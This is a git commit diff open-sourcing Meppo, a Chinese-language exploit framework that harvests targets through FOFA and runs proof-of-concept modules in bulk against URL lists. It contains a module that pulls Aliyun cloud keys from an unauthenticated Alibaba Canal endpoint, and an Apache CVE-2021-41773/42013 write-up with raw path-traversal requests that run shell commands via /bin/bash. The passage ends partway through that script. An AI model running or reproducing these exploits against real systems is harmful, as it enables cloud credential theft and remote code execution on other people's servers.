Meppo 正式开源
19
Config/config_api.py
Normal file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
'''
|
||||
____ _ _ _ _ __ __ _
|
||||
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||
'''
|
||||
|
||||
########################################################################################################################
|
||||
|
||||
# Seek 配置信息
|
||||
FOFA_EAMIL=''
|
||||
FOFA_API_KEY=''
|
||||
# 300¥会员最高设置为100,1000¥会员最高设置为10000,但可能会很慢,自行调整
|
||||
FOFA_SIZE=3
|
||||
|
||||
########################################################################################################################
|
||||
53
Config/config_banner.py
Normal file
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
'''
|
||||
____ _ _ _ _ __ __ _
|
||||
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||
'''
|
||||
import random
|
||||
|
||||
from Moudle.Moudle_index import PAYLOAD_NUM, MOUDLE_NUM
|
||||
|
||||
Version = 'V 1.0'
|
||||
info = '\n\t\t漏洞利用框架 Meppo | By WingsSec | {}\n'.format(Version)
|
||||
NUM='\t\t [ {} MOUDLES\t\t{} PAYLOADS ]'.format(str(MOUDLE_NUM).center(3),str(PAYLOAD_NUM).center(3))
|
||||
|
||||
banner1 = r'''
|
||||
__ __
|
||||
| \/ | ___ _ __ _ __ ___
|
||||
| |\/| |/ _ \ '_ \| '_ \ / _ \
|
||||
| | | | __/ |_) | |_) | (_) |
|
||||
|_| |_|\___| .__/| .__/ \___/
|
||||
|_| |_|
|
||||
{}{}'''.format(info,NUM)
|
||||
|
||||
banner2 = r'''
|
||||
_____
|
||||
/ \ ____ ______ ______ ____
|
||||
/ \ / \_/ __ \\____ \\____ \ / _ \
|
||||
/ Y \ ___/| |_> > |_> > <_> )
|
||||
\____|__ /\___ > __/| __/ \____/
|
||||
\/ \/|__| |__|
|
||||
{}{}'''.format(info,NUM)
|
||||
|
||||
banner3 = r'''
|
||||
__ ___
|
||||
/ |/ /__ ____ ____ ____
|
||||
/ /|_/ / _ \/ __ \/ __ \/ __ \
|
||||
/ / / / __/ /_/ / /_/ / /_/ /
|
||||
/_/ /_/\___/ .___/ .___/\____/
|
||||
/_/ /_/
|
||||
{}{}'''.format(info,NUM)
|
||||
|
||||
bannerlist = [banner1, banner2, banner3]
|
||||
|
||||
|
||||
def Banner():
|
||||
print(bannerlist[random.randrange(len(bannerlist))])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
Banner()
|
||||
69
Config/config_decorators.py
Normal file
@@ -0,0 +1,69 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
'''
|
||||
____ _ _ _ _ __ __ _
|
||||
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||
'''
|
||||
import time
|
||||
import csv
|
||||
|
||||
#列表打印装饰器
|
||||
def Print_info(fun):
|
||||
def work(*args,**kwargs):
|
||||
res=fun(*args, **kwargs)
|
||||
if res:
|
||||
if isinstance(res, str):
|
||||
print(res)
|
||||
elif isinstance(res, list):
|
||||
for i in res:
|
||||
print(i.replace('\n',''))
|
||||
else:
|
||||
pass
|
||||
return fun(*args, **kwargs)
|
||||
return work
|
||||
|
||||
# 结果导出装饰器
|
||||
# 保存文件类型为.rabbit,因为我不希望这个结果被记事本草率地打开,
|
||||
# 因为可能会乱,/哭唧唧,推荐notepad++、SublimeText、VScode等。
|
||||
|
||||
def Save_info(fun):
|
||||
def work(*args,**kwargs):
|
||||
result=(fun(*args, **kwargs))
|
||||
if result:
|
||||
timetoken = str(int(time.time()))
|
||||
filename='Output/{}_result_{}.rabbit'.format(fun.__name__,timetoken)
|
||||
for i in result:
|
||||
try:
|
||||
fw = open(filename, 'a')
|
||||
fw.write(i.replace('\n','') + '\n')
|
||||
fw.close()
|
||||
except:
|
||||
pass
|
||||
print('结果已保存至:'+filename)
|
||||
# return fun(*args, **kwargs)
|
||||
return work
|
||||
|
||||
|
||||
|
||||
def Save_Csv(fun):
|
||||
def work(*args,**kwargs):
|
||||
result=(fun(*args, **kwargs))
|
||||
if result:
|
||||
timetoken = str(int(time.time()))
|
||||
filename='Output/{}_result_{}.csv'.format(fun.__name__,timetoken)
|
||||
|
||||
with open(filename, 'a') as f:
|
||||
head = ['host','ip','port','country','city','server','title']
|
||||
writer = csv.writer(f)
|
||||
# 写入一行数据
|
||||
writer.writerow(head)
|
||||
# 写入多行数据
|
||||
for i in result:
|
||||
writer.writerow(list(i.values()))
|
||||
|
||||
print('结果已保存至:'+filename)
|
||||
# return fun(*args, **kwargs)
|
||||
return work
|
||||
19
Config/config_logging.py
Normal file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
'''
|
||||
____ _ _ _ _ __ __ _
|
||||
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||
'''
|
||||
|
||||
import logging
|
||||
|
||||
logging.basicConfig(filename='Meppo.log',
|
||||
format='%(asctime)s %(message)s',
|
||||
filemode="a", level=logging.INFO)
|
||||
|
||||
def loglog(log):
|
||||
logging.info(log)
|
||||
|
||||
15
Config/config_port.py
Normal file
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
'''
|
||||
____ _ _ _ _ __ __ _
|
||||
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||
'''
|
||||
|
||||
|
||||
# 协议默认字典配置
|
||||
|
||||
HTTP_PORT=['80']
|
||||
HTTPS_PORT=['443','8443']
|
||||
78
Config/config_requests.py
Normal file
@@ -0,0 +1,78 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
'''
|
||||
____ _ _ _ _ __ __ _
|
||||
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||
'''
|
||||
|
||||
# from fake_useragent import UserAgent
|
||||
#
|
||||
# # 实例化 UserAgent 类
|
||||
# ua = UserAgent(verify_ssl=False)
|
||||
#
|
||||
# # 通用headers配置
|
||||
# headers={"User-Agent":ua.random}
|
||||
#
|
||||
# if __name__ == '__main__':
|
||||
# print(headers)
|
||||
|
||||
import random
|
||||
|
||||
ua=random.choice([
|
||||
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17",
|
||||
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15",
|
||||
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14"])
|
||||
|
||||
headers={"User-Agent":ua}
|
||||
|
||||
if __name__ == '__main__':
|
||||
print(headers)
|
||||
73
Framework/console_attack.py
Normal file
@@ -0,0 +1,73 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
'''
|
||||
____ _ _ _ _ __ __ _
|
||||
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||
'''
|
||||
import datetime
|
||||
from multiprocessing import Pool, Manager
|
||||
from Tools.ReBuild import get_payload
|
||||
from Config.config_logging import loglog
|
||||
from Moudle.Moudle_index import *
|
||||
|
||||
def urlcheck(url):
|
||||
if 'http' in url:
|
||||
return url
|
||||
else:
|
||||
return ('http://'+str(url))
|
||||
|
||||
def get_urls(file):
|
||||
f=open(file,'r')
|
||||
r=f.readlines()
|
||||
f.close()
|
||||
res=[]
|
||||
for i in r:
|
||||
res.append(urlcheck(i).replace('\n',''))
|
||||
return res
|
||||
|
||||
def record_res(dic):
|
||||
if dic:
|
||||
res='['+datetime.datetime.now().strftime('%X')+'] '
|
||||
for key in dic:
|
||||
value = dic[key]
|
||||
res=res+str(key)+' : '+str(value)+'\t'
|
||||
print(res)
|
||||
loglog(res)
|
||||
|
||||
|
||||
def pocs(target,moudle,q):
|
||||
q.put(target)
|
||||
return eval(moudle).poc(target)
|
||||
|
||||
def poolmana(moudle,urls):
|
||||
p = Pool(30)
|
||||
q = Manager().Queue()
|
||||
print('任务加载数量:'+str(len(urls)))
|
||||
for i in urls:
|
||||
p.apply_async(pocs, args=(i,moudle,q,),callback=record_res)
|
||||
p.close()
|
||||
p.join()
|
||||
|
||||
|
||||
def run_poc(*args):
|
||||
if len(args)==2:
|
||||
if isinstance(args[1],str):
|
||||
record_res(eval(args[0]).poc(urlcheck(args[1])))
|
||||
elif isinstance(args[1], list):
|
||||
poolmana(args[0], args[1])
|
||||
|
||||
def run_moudle(*args):
|
||||
if len(args)==2:
|
||||
if isinstance(args[1],str):
|
||||
for i in get_payload(args[0]):
|
||||
record_res(eval(i[0]).poc(urlcheck(args[1])))
|
||||
elif isinstance(args[1], list):
|
||||
for i in get_payload(args[0]):
|
||||
poolmana(i[0], args[1])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
run_poc('zabbix_admin',"http://127.0.0.1")
|
||||
55
Framework/console_list.py
Normal file
@@ -0,0 +1,55 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
'''
|
||||
____ _ _ _ _ __ __ _
|
||||
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||
'''
|
||||
from Tools.ReBuild import get_moudle, get_payload
|
||||
|
||||
def get_cn_number(char):
|
||||
count = 0
|
||||
for item in char:
|
||||
if 0x4E00 <= ord(item) <= 0x9FA5:
|
||||
count += 1
|
||||
return count
|
||||
|
||||
def moudle_list():
|
||||
list=get_moudle()
|
||||
print('【Moudle List】'.center(30))
|
||||
print('================================')
|
||||
for i in list:
|
||||
print('--------------------------------')
|
||||
print('|{}|'.format(i.center(30-get_cn_number(i))))
|
||||
print('================================')
|
||||
|
||||
|
||||
|
||||
def payload_list(moudle):
|
||||
list=get_payload(moudle)
|
||||
print('【Payload List】'.center(110))
|
||||
print('==================================================================================================================')
|
||||
print('|{}|{}|{}|'.format('Moudle'.center(20),'Payload'.center(30), 'Remark'.center(60)))
|
||||
for i in list:
|
||||
print('------------------------------------------------------------------------------------------------------------------')
|
||||
print('|{}|{}|{}|'.format(moudle.center(20),i[0].center(30-get_cn_number(i[0])),i[1].center(60-get_cn_number(i[1]))))
|
||||
print('==================================================================================================================')
|
||||
|
||||
|
||||
def payload_list_all():
|
||||
print('【Payload List】'.center(110))
|
||||
print('==================================================================================================================')
|
||||
print('|{}|{}|{}|'.format('Moudle'.center(20),'Payload'.center(30), 'Remark'.center(60)))
|
||||
for i in get_moudle():
|
||||
list = get_payload(i)
|
||||
|
||||
|
||||
for j in list:
|
||||
print('------------------------------------------------------------------------------------------------------------------')
|
||||
print('|{}|{}|{}|'.format(i.center(20-get_cn_number(i)),j[0].center(30-get_cn_number(j[0])),j[1].center(60-get_cn_number(j[1]))))
|
||||
print('==================================================================================================================')
|
||||
|
||||
if __name__ == '__main__':
|
||||
payload_list_all()
|
||||
79
Framework/console_main.py
Normal file
@@ -0,0 +1,79 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
'''
|
||||
____ _ _ _ _ __ __ _
|
||||
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||
'''
|
||||
import argparse
|
||||
from Framework import console_attack
|
||||
from Seek import fofaapi
|
||||
from Framework.console_attack import get_urls
|
||||
from Framework.console_list import moudle_list, payload_list, payload_list_all
|
||||
from Moudle.Moudle_index import *
|
||||
|
||||
|
||||
|
||||
def Console():
|
||||
parser = argparse.ArgumentParser()
|
||||
M_POC = parser.add_argument_group('漏洞检测模块')
|
||||
M_SEEK = parser.add_argument_group('资产爬取模块')
|
||||
|
||||
########################################################################################################################
|
||||
parser.add_argument("-l", dest='list',help="list",action='store_true')
|
||||
parser.add_argument("-ll", dest='listall',help="list all",action='store_true')
|
||||
parser.add_argument("-m", dest='moudle',help="moudle")
|
||||
parser.add_argument("-u", dest='url',help="target url")
|
||||
parser.add_argument("-f", dest='file',help="the file of target list")
|
||||
|
||||
|
||||
#漏洞检测模块
|
||||
M_POC.add_argument("-poc", dest='poc',help="漏洞检测")
|
||||
|
||||
|
||||
#资产爬取模块
|
||||
M_SEEK.add_argument("-fofa", dest='fofa',help="资产爬取")
|
||||
M_SEEK.add_argument("-num", dest='num',help="资产数量")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
########################################################################################################################
|
||||
|
||||
if args.fofa:
|
||||
if args.num and int(args.num) > 10000:
|
||||
print("Num Don't > 10000 PLS~")
|
||||
else:
|
||||
fofaapi.run(args.fofa, 1000)
|
||||
elif args.poc:
|
||||
try:
|
||||
if args.url:
|
||||
console_attack.run_poc(args.poc, args.url)
|
||||
elif args.file:
|
||||
console_attack.run_poc(args.poc, get_urls(args.file))
|
||||
else:
|
||||
print("Usage:\n\tpython Meppo.py -poc xxx -u http:xxx\n\tpython Meppo.py -poc xxx -f target.txt")
|
||||
except:
|
||||
print("Usage:\n\tpython Meppo.py -poc xxx -u http:xxx\n\tpython Meppo.py -poc xxx -f target.txt")
|
||||
elif args.moudle:
|
||||
try:
|
||||
if args.list:
|
||||
payload_list(args.moudle)
|
||||
elif args.url:
|
||||
console_attack.run_moudle(args.moudle, args.url)
|
||||
elif args.file:
|
||||
console_attack.run_moudle(args.moudle, get_urls(args.file))
|
||||
else:
|
||||
print("Usage:\n\tpython Meppo.py -m -l\n\tpython Meppo.py -m xxx -u http:xxx\n\tpython Meppo.py -m -f target.txt")
|
||||
except:
|
||||
print("Usage:\n\tpython Meppo.py -m -l\n\tpython Meppo.py -m xxx -u http:xxx\n\tpython Meppo.py -m -f target.txt")
|
||||
elif args.list:
|
||||
moudle_list()
|
||||
elif args.listall:
|
||||
payload_list_all()
|
||||
else:
|
||||
print("Usage:\n\tStep 1: python Meppo.py -l\n\tStep 2: python Meppo.py -m xxx -l\n\tStep 3: python Meppo.py -m / -poc \n\t")
|
||||
|
||||
|
||||
########################################################################################################################
|
||||
23
Meppo.py
Normal file
@@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
'''
|
||||
____ _ _ _ _ __ __ _
|
||||
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||
|
||||
'''
|
||||
from time import sleep
|
||||
|
||||
from Tools.ReBuild import Rebuild
|
||||
Rebuild()
|
||||
|
||||
sleep(1)
|
||||
|
||||
from Config.config_banner import Banner
|
||||
from Framework.console_main import Console
|
||||
|
||||
if __name__ == '__main__':
|
||||
Banner()
|
||||
Console()
|
||||
30
Moudle/AlibabaCanal/Alibaba_Canal_Info_Leak.md
Normal file
@@ -0,0 +1,30 @@
|
||||
# Alibaba Canal config 云密钥信息泄露漏洞
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
由于/api/v1/canal/config 未进行权限验证可直接访问,导致账户密码、accessKey、secretKey等一系列敏感信息泄露
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> Alibaba Canal
|
||||
|
||||
## FOFA
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> title="Canal Admin"
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
验证漏洞的Url为
|
||||
|
||||
```
|
||||
/api/v1/canal/config/1/0
|
||||
```
|
||||
|
||||

|
||||
|
||||
其中泄露了 aliyun.access 密钥,可以控制密钥下的所有服务器
|
||||
|
||||
33
Moudle/AlibabaCanal/Alibaba_Canal_Info_Leak.py
Normal file
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
|
||||
import requests
|
||||
from Config.config_requests import ua
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME = 'Alibaba_Canal_Info_Leak'
|
||||
AUTHOR = "JDQ"
|
||||
REMARK = 'Alibaba Canal config 云密钥信息泄露漏洞'
|
||||
FOFA_RULE = 'title="Canal Admin"'
|
||||
######################################################
|
||||
|
||||
|
||||
def poc(target):
|
||||
headers={
|
||||
"User-Agent":ua
|
||||
}
|
||||
try:
|
||||
r = requests.get(target+"/api/v1/canal/config/1/0",headers=headers, verify=False)
|
||||
if r.status_code == 200 and 'aliyun' in r.text:
|
||||
return(r.text)
|
||||
except :
|
||||
pass
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("127.0.0.1")
|
||||
BIN
Moudle/AlibabaCanal/images/image-20210827144737848.png
Normal file
|
After Width: | Height: | Size: 82 KiB |
49
Moudle/Apache/CVE_2021_41773.md
Normal file
@@ -0,0 +1,49 @@
|
||||
# 漏洞简述
|
||||
|
||||
Apache 中间件http服务存在目录穿越漏洞,如果文档根目录以外的文件不受`require all denied`保护,则攻击者可以访问这些文件。
|
||||
|
||||

|
||||
|
||||
# 影响范围
|
||||
|
||||
2.4.49---CVE-2021-41773
|
||||
|
||||
2.4.50---CVE-2021-42013
|
||||
|
||||
# 漏洞复现
|
||||
|
||||
需要apahce开着mod_cgi,如下图
|
||||
|
||||

|
||||
|
||||
POST包(2.4.49版本):
|
||||
|
||||
```java
|
||||
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
|
||||
Content-Length: 7
|
||||
|
||||
echo;id
|
||||
```
|
||||
|
||||
使用cgi,目录穿越到/bin/bash,可以执行bash命令,即可实现RCE;
|
||||
|
||||
POST包(2.4.50版本):
|
||||
|
||||
2.4.50版本的漏洞与2.4.49版本是一个位置,只是官方修复不严格,而出现的一次绕过,对比一下,发现是对.的URL编码中的2和e再次做了一次URL编码;
|
||||
|
||||
**注:2.4.50版本暂未找到环境测试验证,网上流传的是用的这个poc,下方脚本中的2.4.50版本的部分也是未实际做验证**
|
||||
|
||||
```
|
||||
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
|
||||
Content-Length: 7
|
||||
|
||||
echo;id
|
||||
```
|
||||
|
||||
# poc
|
||||
|
||||
编写脚本时,遇到一个坑,用burp测试没有问题的poc,即URL部分,Python请求有问题,大概内容为Your browser sent a request that this server could not understand. ,最终一点点测试,用wireshark对请求抓包,发现是Python请求时,会自动先做一次URL解码,但却不对%25解码,所以就有了下面的poc,与上面burp的poc对比一下就明白了。
|
||||
52
Moudle/Apache/CVE_2021_41773.py
Normal file
@@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
from Config.config_requests import headers
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME1='CVE-2021-41773'
|
||||
NAME2='CVE-2021-42013'
|
||||
AUTHOR="境心"
|
||||
REMARK='Apache httpd 目录穿越漏洞'
|
||||
FOFA_RULE='body="it works"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
url = target+"/cgi-bin/"
|
||||
res = requests.get(url, headers=headers, verify=False, timeout=5)
|
||||
try:
|
||||
banner = res.headers['server']
|
||||
